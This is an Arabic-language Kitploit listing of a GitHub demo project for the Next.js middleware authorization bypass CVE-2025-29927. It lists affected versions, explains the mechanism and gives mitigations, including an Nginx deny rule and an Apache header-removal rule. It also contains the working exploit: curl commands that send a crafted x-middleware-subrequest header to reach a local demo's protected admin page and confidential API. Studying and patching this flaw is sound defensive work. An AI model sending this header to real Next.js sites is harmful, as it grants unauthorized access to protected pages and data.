Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
nextjs-cve-demo — عرض توضيحي لثغرة تجاوز التصريح في Middleware في Next.js (CVE-2025-29927) والتي تسمح للمستخدمين غير المصرح لهم بالوصول إلى المعلومات المحمية. | Kitploit
أدوات/GitHubGitHub/lstudlo/nextjs-cve-demo
المصادقة والترخيصتحليل الثغرات الأمنيةاستغلال تطبيقات الويباختبار أمان APIسوء التكوينالتعلم والتعليم
GitHublstudlo/nextjs-cve-demo

nextjs-cve-demo

عرض توضيحي لثغرة تجاوز التصريح في Middleware في Next.js (CVE-2025-29927) والتي تسمح للمستخدمين غير المصرح لهم بالوصول إلى المعلومات المحمية.

عرض المستودع
2منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

مثال: تجاوز التفويض في Middleware في Next.js (CVE-2025-29927)

يقدم هذا المستودع مشروعًا نموذجيًا يوضح ثغرة تجاوز التفويض في Middleware في Next.js (CVE-2025-29927). تسمح هذه الثغرة للمستخدمين غير المصرح لهم بالوصول إلى الموارد المحمية.

نظرة عامة على الثغرة

CVE-2025-29927 هي ثغرة أمنية خطيرة (تقييم CVSS: 9.1) تؤثر على نظام middleware في Next.js. يمكن للمهاجم تجاوز فحوصات الأمان في middleware بالكامل عن طريق إضافة رأس x-middleware-subrequest مخصص في طلب HTTP.

الإصدارات المتأثرة

  • Next.js 11.1.4 إلى 13.5.6
  • إصدارات Next.js 14.x الأقل من 14.2.25
  • إصدارات Next.js 15.x الأقل من 15.2.3

تأثير الثغرة

  • تجاوز التفويض: يمكن للمهاجم الوصول إلى المسارات المحمية (مثل /admin) دون مصادقة
  • تجاوز أمان API: يمكن الوصول إلى نقاط نهاية API المحمية (مثل /api/confidential)
  • تجاوز رؤوس الأمان: إذا تم تعيين رؤوس أمان مثل CSP أو HSTS في middleware، فسيتم تجاوزها أيضًا

المتطلبات الأساسية

  1. تثبيت Node.js و npm
  2. انتقل إلى المجلد وقم بتشغيل npm install لتثبيت التبعيات
  3. قم بتشغيل npm run dev لبدء خادم تطوير Next.js
  4. افتح http://localhost:3000 في المتصفح لمشاهدة واجهة الموقع الحالية

فهم آلية الثغرة

يستخدم Next.js رأسًا داخليًا x-middleware-subrequest لمنع الاستدعاءات المتكررة في middleware والتي قد تسبب حلقات لا نهائية. ومع ذلك، يمكن استغلال هذا الرأس من الطلبات الخارجية. عندما يحتوي الطلب على هذا الرأس ويصل إلى أقصى عمق للتكرار (MAX_RECURSION_DEPTH)، يتجاوز Next.js تنفيذ middleware بالكامل.

كيفية إعادة إنتاج الثغرة

الخطوة 1: الوصول الطبيعي إلى المسار المحمي (سيتم حظره)

أولاً، حاول الوصول بشكل طبيعي إلى المسار المحمي:

root@kitploit:~
# الوصول إلى صفحة المسؤول المحمية
curl http://localhost:3000/admin/dashboard -v

النتيجة المتوقعة: سيتم إعادة التوجيه إلى صفحة تسجيل الدخول (302 redirect to /login)

root@kitploit:~
# الوصول إلى API المحمي
curl http://localhost:3000/api/confidential -v

النتيجة المتوقعة: إرجاع خطأ 401 Unauthorized

الخطوة 2: استخدام الثغرة لتجاوز Middleware

الآن، استخدم الرأس المخصص لتجاوز middleware:

root@kitploit:~
# تجاوز حماية مسار /admin
curl http://localhost:3000/admin/dashboard \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
  -v

النتيجة المتوقعة: الوصول الناجح إلى محتوى صفحة المسؤول (200 OK)

root@kitploit:~
# تجاوز حماية /api/confidential
curl http://localhost:3000/api/confidential \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
  -v

النتيجة المتوقعة: الوصول الناجح إلى API والحصول على المعلومات السرية (200 OK)

الخطوة 3: الاختبار باستخدام المتصفح

يمكنك أيضًا استخدام أدوات المطور في المتصفح للاختبار:

  1. افتح أدوات المطور في المتصفح (F12)
  2. انتقل إلى علامة التبويب Network
  3. استخدم إضافة ModHeader أو أداة مماثلة لإضافة الرأس:
    • اسم الرأس: x-middleware-subrequest
    • قيمة الرأس: middleware:middleware:middleware:middleware:middleware
  4. قم بزيارة http://localhost:3000/admin/dashboard
  5. يجب أن ترى محتوى صفحة المسؤول، بدلاً من إعادة التوجيه

شرح الثغرة

عندما يتلقى middleware طلبًا يحتوي على رأس x-middleware-subrequest:

  1. يعتقد Next.js أن هذا استدعاء متكرر داخلي
  2. عندما تحتوي قيمة الرأس على عدد كافٍ من علامات middleware (5 تكرارات)، يتم تفعيل حد MAX_RECURSION_DEPTH
  3. لتجنب الحلقات اللانهائية، يتجاوز Next.js تنفيذ middleware بالكامل
  4. يصل الطلب مباشرة إلى المسار المستهدف، متجاوزًا جميع فحوصات الأمان

الإصلاحات

1. ترقية إصدار Next.js

قم بالترقية إلى الإصدارات التي تم إصلاحها:

  • 12.x: ترقية إلى 12.3.5 أو أحدث
  • 13.x: ترقية إلى 13.5.9 أو أحدث
  • 14.x: ترقية إلى 14.2.25 أو أحدث
  • 15.x: ترقية إلى 15.2.3 أو أحدث

2. إجراءات تخفيف مؤقتة

إذا تعذر الترقية فورًا، يمكن حظر الطلبات التي تحتوي على رأس x-middleware-subrequest على مستوى الوكيل العكسي (Nginx، Apache، إلخ):

مثال تكوين Nginx:

root@kitploit:~
location / {
    if ($http_x_middleware_subrequest) {
        return 403;
    }
    proxy_pass http://localhost:3000;
}

مثال تكوين Apache:

root@kitploit:~
RequestHeader unset x-middleware-subrequest

3. دفاع عميق

بالإضافة إلى middleware، قم بتنفيذ فحوصات المصادقة في معالجات المسارات:

root@kitploit:~
// إضافة فحص مصادقة إضافي في مسار API
export async function GET(request) {
    // لا تعتمد فقط على middleware، تحقق من المصادقة هنا أيضًا
    if (!isAuthenticated(request)) {
        return new Response('Unauthorized', { status: 401 });
    }
    // ... معالجة الطلب
}

المراجع

  • تنبيه أمان Next.js (GHSA-f82v-jwr5-mffw)
  • تفاصيل CVE-2025-29927
  • وثائق Middleware في Next.js
تنزيل الأداة